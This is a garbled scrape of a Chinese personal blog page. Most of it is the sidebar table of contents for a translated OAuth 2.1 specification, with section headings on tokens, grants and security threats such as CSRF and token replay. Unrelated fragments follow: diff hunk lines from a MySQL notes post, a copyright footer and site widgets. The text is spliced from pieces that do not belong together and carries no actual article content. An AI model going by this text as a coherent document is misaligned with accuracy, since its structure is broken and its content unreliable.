其他认证方法</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#2-4-%E6%9C%AA%E6%B3%A8%E5%86%8C%E7%9A%84%E5%AE%A2%E6%88%B7%E7%AB%AF"><span class="toc-text">2.4 未注册的客户端</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-%E5%8D%8F%E8%AE%AE%E7%BB%88%E7%AB%AF"><span class="toc-text">3. 协议终端</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#3-1-%E6%8E%88%E6%9D%83%E7%BB%88%E7%AB%AF"><span class="toc-text">3.1 授权终端</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#3-1-1-%E5%93%8D%E5%BA%94%E7%B1%BB%E5%9E%8B"><span class="toc-text">3.1.1 响应类型</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#3-1-2-%E9%87%8D%E5%AE%9A%E5%90%91%E7%BB%88%E7%AB%AF"><span class="toc-text">3.1.2 重定向终端</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#3-1-2-1-%E7%BB%88%E7%AB%AF%E8%AF%B7%E6%B1%82%E6%9C%BA%E5%AF%86%E6%80%A7"><span class="toc-text">3.1.2.1 终端请求机密性</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-1-2-2-%E6%B3%A8%E5%86%8C%E8%A6%81%E6%B1%82"><span class="toc-text">3.1.2.2 注册要求</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-1-2-3-%E5%8A%A8%E6%80%81%E9%85%8D%E7%BD%AE"><span class="toc-text">3.1.2.3 动态配置</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-1-2-4-%E6%97%A0%E6%95%88%E7%BB%88%E7%AB%AF"><span class="toc-text">3.1.2.4 无效终端</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-1-2-5-%E7%BB%88%E7%AB%AF%E5%86%85%E5%AE%B9"><span class="toc-text">3.1.2.5 终端内容</span></a></li></ol></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#3-2-%E4%BB%A4%E7%89%8C%E7%BB%88%E7%AB%AF"><span class="toc-text">3.2 令牌终端</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#3-2-1-%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%AE%A4%E8%AF%81"><span class="toc-text">3.2.1 客户端认证</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#3-3-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E8%8C%83%E5%9B%B4"><span class="toc-text">3.3 访问令牌范围</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#4-%E8%8E%B7%E5%BE%97%E6%8E%88%E6%9D%83"><span class="toc-text">4. 获得授权</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#4-1-%E6%8E%88%E6%9D%83%E7%A0%81%E8%AE%B8%E5%8F%AF"><span class="toc-text">4.1 授权码许可</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#4-1-1-%E6%8E%88%E6%9D%83%E8%AF%B7%E6%B1%82"><span class="toc-text">4.1.1 授权请求</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#4-1-1-1-%E5%AE%A2%E6%88%B7%E7%AB%AF%E7%94%9F%E6%88%90%E4%BB%A3%E7%A0%81%E9%AA%8C%E8%AF%81"><span class="toc-text">4.1.1.1 客户端生成代码验证</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#4-1-1-2-%E5%AE%A2%E6%88%B7%E7%AB%AF%E7%94%9F%E6%88%90%E4%BB%A3%E7%A0%81%E6%8C%91%E6%88%98"><span class="toc-text">4.1.1.2 客户端生成代码挑战</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#4-1-1-3-%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%88%9D%E5%A7%8B%E5%8C%96%E6%8E%88%E6%9D%83%E8%AF%B7%E6%B1%82"><span class="toc-text">4.1.1.3 客户端初始化授权请求</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#4-1-2-%E6%8E%88%E6%9D%83%E5%93%8D%E5%BA%94"><span class="toc-text">4.1.2 授权响应</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#4-1-2-1-%E9%94%99%E8%AF%AF%E5%93%8D%E5%BA%94"><span class="toc-text">4.1.2.1 错误响应</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#4-1-3-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E8%AF%B7%E6%B1%82"><span class="toc-text">4.1.3 访问令牌请求</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#4-1-4-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E5%93%8D%E5%BA%94"><span class="toc-text">4.1.4 访问令牌响应</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#4-2-%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%87%AD%E6%8D%AE%E8%AE%B8%E5%8F%AF"><span class="toc-text">4.2 客户端凭据许可</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#4-2-1-%E6%8E%88%E6%9D%83%E8%AF%B7%E6%B1%82%E5%92%8C%E5%93%8D%E5%BA%94"><span class="toc-text">4.2.1 授权请求和响应</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#4-2-2-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E8%AF%B7%E6%B1%82"><span class="toc-text">4.2.2 访问令牌请求</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#4-2-3-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E5%93%8D%E5%BA%94"><span class="toc-text">4.2.3 访问令牌响应</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#4-3-%E6%89%A9%E5%B1%95%E8%AE%B8%E5%8F%AF"><span class="toc-text">4.3 扩展许可</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-%E9%A2%81%E5%8F%91%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C"><span class="toc-text">5. 颁发访问令牌</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#5-1-%E6%88%90%E5%8A%9F%E5%93%8D%E5%BA%94"><span class="toc-text">5.1 成功响应</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5-2-%E9%94%99%E8%AF%AF%E5%93%8D%E5%BA%94"><span class="toc-text">5.2 错误响应</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#6-%E6%9B%B4%E6%96%B0%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C"><span class="toc-text">6. 更新访问令牌</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#6-1-%E6%9B%B4%E6%96%B0%E4%BB%A4%E7%89%8C%E4%BF%9D%E6%8A%A4"><span class="toc-text">6.1 更新令牌保护</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#7-%E8%AE%BF%E9%97%AE%E5%8F%97%E4%BF%9D%E6%8A%A4%E8%B5%84%E6%BA%90"><span class="toc-text">7. 访问受保护资源</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#7-1-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E7%B1%BB%E5%9E%8B"><span class="toc-text">7.1 访问令牌类型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-2-%E6%89%BF%E8%BD%BD%E4%BB%A4%E7%89%8C"><span class="toc-text">7.2 承载令牌</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#7-2-1-%E5%B7%B2%E8%AE%A4%E8%AF%81%E7%9A%84%E8%AF%B7%E6%B1%82"><span class="toc-text">7.2.1 已认证的请求</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#7-2-1-1-%E6%8E%88%E6%9D%83%E8%AF%B7%E6%B1%82%E5%A4%B4%E5%AD%97%E6%AE%B5"><span class="toc-text">7.2.1.1 授权请求头字段</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-2-1-2-%E8%A1%A8%E5%8D%95%E7%BC%96%E7%A0%81%E7%9A%84%E4%B8%BB%E4%BD%93%E5%8F%82%E6%95%B0"><span class="toc-text">7.2.1.2 表单编码的主体参数</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#7-2-2-WWW-Authenticate-%E5%93%8D%E5%BA%94%E5%A4%B4%E5%AD%97%E6%AE%B5"><span class="toc-text">7.2.2 WWW-Authenticate 响应头字段</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#7-2-3-%E9%94%99%E8%AF%AF%E4%BB%A3%E7%A0%81"><span class="toc-text">7.2.3 错误代码</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-3-%E9%94%99%E8%AF%AF%E5%93%8D%E5%BA%94"><span class="toc-text">7.3 错误响应</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#7-3-1-%E6%89%A9%E5%B1%95%E4%BB%A4%E7%89%8C%E7%B1%BB%E5%9E%8B"><span class="toc-text">7.3.1 扩展令牌类型</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#7-4-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E5%AE%89%E5%85%A8"><span class="toc-text">7.4 访问令牌安全</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#7-4-1-%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81"><span class="toc-text">7.4.1 安全威胁</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-1-1-%E4%BB%A4%E7%89%8C%E4%BC%AA%E9%80%A0-%E7%AF%A1%E6%94%B9"><span class="toc-text">7.4.1.1 令牌伪造&#x2F;篡改</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-1-2-%E4%BB%A4%E7%89%8C%E6%B3%84%E9%9C%B2"><span class="toc-text">7.4.1.2 令牌泄露</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-1-3-%E4%BB%A4%E7%89%8C%E9%87%8D%E5%AE%9A%E5%90%91"><span class="toc-text">7.4.1.3 令牌重定向</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-1-4-%E4%BB%A4%E7%89%8C%E9%87%8D%E6%94%BE"><span class="toc-text">7.4.1.4 令牌重放</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#7-4-2-%E5%A8%81%E8%83%81%E7%BC%93%E8%A7%A3"><span class="toc-text">7.4.2 威胁缓解</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#7-4-3-%E6%80%BB%E7%BB%93%E5%BB%BA%E8%AE%AE"><span class="toc-text">7.4.3 总结建议</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-3-1-%E4%BF%9D%E6%8A%A4%E6%89%BF%E8%BD%BD%E4%BB%A4%E7%89%8C"><span class="toc-text">7.4.3.1 保护承载令牌</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-3-2-%E9%AA%8C%E8%AF%81-TLS-%E8%AF%81%E4%B9%A6%E9%93%BE"><span class="toc-text">7.4.3.2 验证 TLS 证书链</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-3-3-%E4%B8%80%E5%BE%8B%E4%BD%BF%E7%94%A8-TLS-https"><span class="toc-text">7.4.3.3 一律使用 TLS (https)</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-3-4-%E4%B8%8D%E8%A6%81%E5%B0%86%E6%89%BF%E8%BD%BD%E4%BB%A4%E7%89%8C%E5%AD%98%E5%82%A8%E5%9C%A8-HTTP-Cookie-%E4%B8%AD"><span class="toc-text">7.4.3.4 不要将承载令牌存储在 HTTP Cookie 中</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-3-5-%E9%A2%81%E5%8F%91%E7%9F%AD%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%9A%84%E6%89%BF%E8%BD%BD%E4%BB%A4%E7%89%8C"><span class="toc-text">7.4.3.5 颁发短生命周期的承载令牌</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-3-6-%E9%A2%81%E5%8F%91%E9%99%90%E5%AE%9A%E8%8C%83%E5%9B%B4%E7%9A%84%E6%89%BF%E8%BD%BD%E4%BB%A4%E7%89%8C"><span class="toc-text">7.4.3.6 颁发限定范围的承载令牌</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-4-3-7-%E4%B8%8D%E8%A6%81%E5%9C%A8%E9%A1%B5%E9%9D%A2-URL-%E4%B8%AD%E4%BC%A0%E9%80%92%E6%89%BF%E8%BD%BD%E4%BB%A4%E7%89%8C"><span class="toc-text">7.4.3.7 不要在页面 URL 中传递承载令牌</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#7-4-4-%E9%98%B2%E6%AD%A2%E4%BB%A4%E7%89%8C%E9%87%8D%E6%94%BE"><span class="toc-text">7.4.4 防止令牌重放</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#7-4-5-%E9%99%90%E5%88%B6%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E6%9D%83%E9%99%90"><span class="toc-text">7.4.5 限制访问令牌权限</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#8-%E6%89%A9%E5%B1%95"><span class="toc-text">8. 扩展</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#8-1-%E5%AE%9A%E4%B9%89%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E7%B1%BB%E5%9E%8B"><span class="toc-text">8.1 定义访问令牌类型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#8-2-%E5%AE%9A%E4%B9%89%E6%96%B0%E7%9A%84%E7%BB%88%E7%AB%AF%E5%8F%82%E6%95%B0"><span class="toc-text">8.2 定义新的终端参数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#8-3-%E5%AE%9A%E4%B9%89%E6%96%B0%E7%9A%84%E6%8E%88%E6%9D%83%E8%AE%B8%E5%8F%AF%E7%B1%BB%E5%9E%8B"><span class="toc-text">8.3 定义新的授权许可类型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#8-4-%E5%AE%9A%E4%B9%89%E6%96%B0%E7%9A%84%E6%8E%88%E6%9D%83%E7%BB%88%E7%AB%AF%E5%93%8D%E5%BA%94%E7%B1%BB%E5%9E%8B"><span class="toc-text">8.4 定义新的授权终端响应类型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#8-5-%E5%AE%9A%E4%B9%89%E9%A2%9D%E5%A4%96%E7%9A%84%E9%94%99%E8%AF%AF%E4%BB%A3%E7%A0%81"><span class="toc-text">8.5 定义额外的错误代码</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#9-%E5%AE%89%E5%85%A8%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9"><span class="toc-text">9. 安全注意事项</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#9-1-%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81"><span class="toc-text">9.1 客户端身份认证</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#9-1-1-%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81"><span class="toc-text">9.1.1 原生应用程序的客户端身份认证</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-2-%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E5%AE%A2%E6%88%B7%E7%AB%AF%E7%9A%84%E6%B3%A8%E5%86%8C"><span class="toc-text">9.2 原生应用程序客户端的注册</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-3-%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%81%87%E5%86%92"><span class="toc-text">9.3 客户端假冒</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#9-3-1-%E5%81%87%E5%86%92%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F"><span class="toc-text">9.3.1 假冒原生应用程序</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-4-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C"><span class="toc-text">9.4 访问令牌</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#9-4-1-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E6%9D%83%E9%99%90%E9%99%90%E5%88%B6"><span class="toc-text">9.4.1 访问令牌权限限制</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#9-4-2-%E9%98%B2%E6%AD%A2%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E9%87%8D%E6%94%BE"><span class="toc-text">9.4.2 防止访问令牌重放</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-5-%E5%88%B7%E6%96%B0%E4%BB%A4%E7%89%8C"><span class="toc-text">9.5 刷新令牌</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-6-%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%81%87%E5%86%92%E8%B5%84%E6%BA%90%E6%89%80%E6%9C%89%E8%80%85"><span class="toc-text">9.6 客户端假冒资源所有者</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-7-%E4%BF%9D%E6%8A%A4%E5%9F%BA%E4%BA%8E%E9%87%8D%E5%AE%9A%E5%90%91%E7%9A%84%E6%B5%81"><span class="toc-text">9.7 保护基于重定向的流</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#9-7-1-%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B8%AD%E5%9B%9E%E7%8E%AF%E9%87%8D%E5%AE%9A%E5%90%91%E7%9A%84%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9"><span class="toc-text">9.7.1 原生应用程序中回环重定向的注意事项</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#9-7-2-HTTP-307-%E9%87%8D%E5%AE%9A%E5%90%91"><span class="toc-text">9.7.2 HTTP 307 重定向</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-8-%E6%8E%88%E6%9D%83%E7%A0%81"><span class="toc-text">9.8 授权码</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-9-%E8%AF%B7%E6%B1%82%E6%9C%BA%E5%AF%86%E6%80%A7"><span class="toc-text">9.9 请求机密性</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-10-%E7%A1%AE%E4%BF%9D%E7%BB%88%E7%AB%AF%E7%9C%9F%E5%AE%9E%E6%80%A7"><span class="toc-text">9.10 确保终端真实性</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-11-%E5%87%AD%E6%8D%AE%E7%8C%9C%E6%B5%8B%E6%94%BB%E5%87%BB"><span class="toc-text">9.11 凭据猜测攻击</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-12-%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB"><span class="toc-text">9.12 钓鱼攻击</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-13-%E5%9C%A8%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B8%AD%E4%BC%AA%E9%80%A0%E5%A4%96%E9%83%A8%E7%94%A8%E6%88%B7%E4%BB%A3%E7%90%86"><span class="toc-text">9.13 在原生应用程序中伪造外部用户代理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-14-%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B8%AD%E7%9A%84%E6%81%B6%E6%84%8F%E5%A4%96%E9%83%A8%E7%94%A8%E6%88%B7%E4%BB%A3%E7%90%86"><span class="toc-text">9.14 原生应用程序中的恶意外部用户代理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-15-%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0"><span class="toc-text">9.15 跨站请求伪造</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-16-%E7%82%B9%E5%87%BB%E5%8A%AB%E6%8C%81"><span class="toc-text">9.16 点击劫持</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-17-%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%92%8C%E8%BE%93%E5%85%A5%E9%AA%8C%E8%AF%81"><span class="toc-text">9.17 代码注入和输入验证</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-18-%E5%BC%80%E6%94%BE%E5%BC%8F%E9%87%8D%E5%AE%9A%E5%90%91"><span class="toc-text">9.18 开放式重定向</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#9-18-1-%E5%AE%A2%E6%88%B7%E7%AB%AF%E4%BD%9C%E4%B8%BA%E5%BC%80%E6%94%BE%E5%BC%8F%E9%87%8D%E5%AE%9A%E5%90%91%E5%99%A8"><span class="toc-text">9.18.1 客户端作为开放式重定向器</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#9-18-2-%E6%8E%88%E6%9D%83%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%BD%9C%E4%B8%BA%E5%BC%80%E6%94%BE%E5%BC%8F%E9%87%8D%E5%AE%9A%E5%90%91%E5%99%A8"><span class="toc-text">9.18.2 授权服务器作为开放式重定向器</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-19-%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B8%AD%E6%8E%88%E6%9D%83%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B7%B7%E6%B7%86%E7%9A%84%E7%BC%93%E8%A7%A3"><span class="toc-text">9.19 原生应用程序中授权服务器混淆的缓解</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-20-%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B8%AD%E7%9A%84%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%94%A8%E6%88%B7%E4%BB%A3%E7%90%86"><span class="toc-text">9.20 原生应用程序中的嵌入式用户代理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#9-21-%E5%85%B6%E4%BB%96%E5%BB%BA%E8%AE%AE"><span class="toc-text">9.21 其他建议</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#10-%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F"><span class="toc-text">10. 原生应用程序</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#10-1-%E5%9C%A8%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B8%AD%E4%BD%BF%E7%94%A8%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E9%97%B4-URI-%E9%80%9A%E4%BF%A1%E5%AE%9E%E7%8E%B0-OAuth"><span class="toc-text">10.1 在原生应用程序中使用应用程序间 URI 通信实现 OAuth</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#10-2-%E5%9C%A8%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B8%AD%E5%8F%91%E8%B5%B7%E6%8E%88%E6%9D%83%E8%AF%B7%E6%B1%82"><span class="toc-text">10.2 在原生应用程序中发起授权请求</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#10-3-%E5%9C%A8%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E4%B8%AD%E6%8E%A5%E6%94%B6%E6%8E%88%E6%9D%83%E5%93%8D%E5%BA%94"><span class="toc-text">10.3 在原生应用程序中接收授权响应</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#10-3-1-%E7%A7%81%E7%94%A8-URI-%E6%96%B9%E6%A1%88%E9%87%8D%E5%AE%9A%E5%90%91"><span class="toc-text">10.3.1 私用 URI 方案重定向</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#10-3-2-%E5%A3%B0%E6%98%8E-https-%E6%96%B9%E6%A1%88-URI-%E9%87%8D%E5%AE%9A%E5%90%91"><span class="toc-text">10.3.2 声明 https 方案 URI 重定向</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#10-3-3-%E5%9B%9E%E7%8E%AF%E6%8E%A5%E5%8F%A3%E9%87%8D%E5%AE%9A%E5%90%91"><span class="toc-text">10.3.3 回环接口重定向</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#11-%E5%9F%BA%E4%BA%8E%E6%B5%8F%E8%A7%88%E5%99%A8%E7%9A%84%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F"><span class="toc-text">11. 基于浏览器的应用程序</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#12-%E4%B8%8E-OAuth-2-0-%E7%9A%84%E5%8C%BA%E5%88%AB"><span class="toc-text">12. 与 OAuth 2.0 的区别</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#13-IANA-%E8%80%83%E9%87%8F"><span class="toc-text">13. IANA 考量</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#14-%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE"><span class="toc-text">14. 参考文献</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#14-1-%E8%A7%84%E8%8C%83%E6%80%A7%E6%96%87%E7%8C%AE"><span class="toc-text">14.1 规范性文献</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#14-2-%E5%8F%82%E8%80%83%E6%80%A7%E6%96%87%E7%8C%AE"><span class="toc-text">14.2 参考性文献</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%99%84%E5%BD%95A-%E6%89%A9%E5%B1%95%E7%9A%84%E5%B7%B4%E7%A7%91%E6%96%AF%E8%8C%83%E5%BC%8F%EF%BC%88Augmented-Backus-Naur-Form-ABNF%EF%BC%89%E8%AF%AD%E6%B3%95"><span class="toc-text">附录A. 扩展的巴科斯范式（Augmented Backus-Naur Form, ABNF）语法</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%99%84%E5%BD%95-B-application-x-www-form-urlencoded-%E5%AA%92%E4%BD%93%E7%B1%BB%E5%9E%8B%E7%9A%84%E4%BD%BF%E7%94%A8"><span class="toc-text">附录 B. application&#x2F;x-www-form-urlencoded 媒体类型的使用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%99%84%E5%BD%95-C-%E6%89%A9%E5%B1%95"><span class="toc-text">附录 C. 扩展</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%99%84%E5%BD%95-D-%E8%87%B4%E8%B0%A2"><span class="toc-text">附录 D. 致谢</span></a></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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@@ -1653,7 +1653,7 @@ <h2 id="改善性能"><a href="#改善性能" class="headerlink" title="改善
 <li>数据库是动态实体，需要动态调优</li>
 <li>每条规则在某些条件下都会被打破</li>
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-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/11/22/Notes/Database/MySQL%20%E5%BF%85%E7%9F%A5%E5%BF%85%E4%BC%9A/">https://jckling.github.io/2020/11/22/Notes/Database/MySQL 必知必会/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div 